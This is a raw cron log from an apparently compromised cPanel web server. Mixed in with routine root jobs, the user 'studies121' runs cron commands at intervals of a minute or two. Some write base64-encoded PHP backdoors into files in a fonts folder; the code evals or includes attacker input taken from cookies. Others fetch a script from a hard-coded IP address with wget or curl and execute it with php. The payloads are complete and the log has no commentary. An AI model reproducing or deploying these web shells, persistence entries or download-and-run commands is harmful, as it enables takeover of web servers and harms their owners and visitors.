Sep  8 13:40:01 ip-184-168-122-23 CROND[28703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:40:01 ip-184-168-122-23 CROND[28708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:40:01 ip-184-168-122-23 CROND[28713]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 13:40:01 ip-184-168-122-23 CROND[28712]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 13:40:01 ip-184-168-122-23 CROND[28714]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:41:01 ip-184-168-122-23 CROND[28823]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:41:01 ip-184-168-122-23 CROND[28824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:41:01 ip-184-168-122-23 CROND[28826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:41:01 ip-184-168-122-23 CROND[28827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:42:01 ip-184-168-122-23 CROND[28954]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 13:42:01 ip-184-168-122-23 CROND[28955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:42:01 ip-184-168-122-23 CROND[28961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:42:01 ip-184-168-122-23 CROND[28962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:42:01 ip-184-168-122-23 CROND[28960]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:43:01 ip-184-168-122-23 CROND[29143]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:43:01 ip-184-168-122-23 CROND[29144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:43:01 ip-184-168-122-23 CROND[29145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:43:01 ip-184-168-122-23 CROND[29147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:44:01 ip-184-168-122-23 CROND[29224]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:44:01 ip-184-168-122-23 CROND[29226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:44:01 ip-184-168-122-23 CROND[29227]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 13:44:01 ip-184-168-122-23 CROND[29228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:44:01 ip-184-168-122-23 CROND[29229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:45:01 ip-184-168-122-23 CROND[29332]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 13:45:01 ip-184-168-122-23 CROND[29334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:45:01 ip-184-168-122-23 CROND[29333]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:45:01 ip-184-168-122-23 CROND[29336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:45:01 ip-184-168-122-23 CROND[29335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:45:01 ip-184-168-122-23 CROND[29337]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 13:46:01 ip-184-168-122-23 CROND[29459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:46:01 ip-184-168-122-23 CROND[29460]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 13:46:01 ip-184-168-122-23 CROND[29461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:46:01 ip-184-168-122-23 CROND[29463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:46:01 ip-184-168-122-23 CROND[29466]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 13:46:01 ip-184-168-122-23 CROND[29464]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 13:46:01 ip-184-168-122-23 CROND[29465]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:47:01 ip-184-168-122-23 CROND[29582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:47:01 ip-184-168-122-23 CROND[29581]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:47:01 ip-184-168-122-23 CROND[29583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:47:01 ip-184-168-122-23 CROND[29584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:48:01 ip-184-168-122-23 CROND[29674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:48:01 ip-184-168-122-23 CROND[29675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:48:01 ip-184-168-122-23 CROND[29678]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 13:48:01 ip-184-168-122-23 CROND[29677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:48:01 ip-184-168-122-23 CROND[29680]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:49:01 ip-184-168-122-23 CROND[29772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:49:01 ip-184-168-122-23 CROND[29773]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  8 13:49:01 ip-184-168-122-23 CROND[29774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:49:01 ip-184-168-122-23 CROND[29779]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:49:01 ip-184-168-122-23 CROND[29777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:50:01 ip-184-168-122-23 CROND[30004]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 13:50:01 ip-184-168-122-23 CROND[30006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:50:01 ip-184-168-122-23 CROND[30005]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 13:50:01 ip-184-168-122-23 CROND[30007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:50:01 ip-184-168-122-23 CROND[30009]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 13:50:01 ip-184-168-122-23 CROND[30015]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 13:50:01 ip-184-168-122-23 CROND[30017]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 13:50:01 ip-184-168-122-23 CROND[30018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:50:01 ip-184-168-122-23 CROND[30014]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:51:01 ip-184-168-122-23 CROND[30175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:51:01 ip-184-168-122-23 CROND[30177]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:51:01 ip-184-168-122-23 CROND[30176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:51:01 ip-184-168-122-23 CROND[30179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:52:02 ip-184-168-122-23 CROND[30499]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:52:02 ip-184-168-122-23 CROND[30502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:52:02 ip-184-168-122-23 CROND[30501]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 13:52:02 ip-184-168-122-23 CROND[30503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
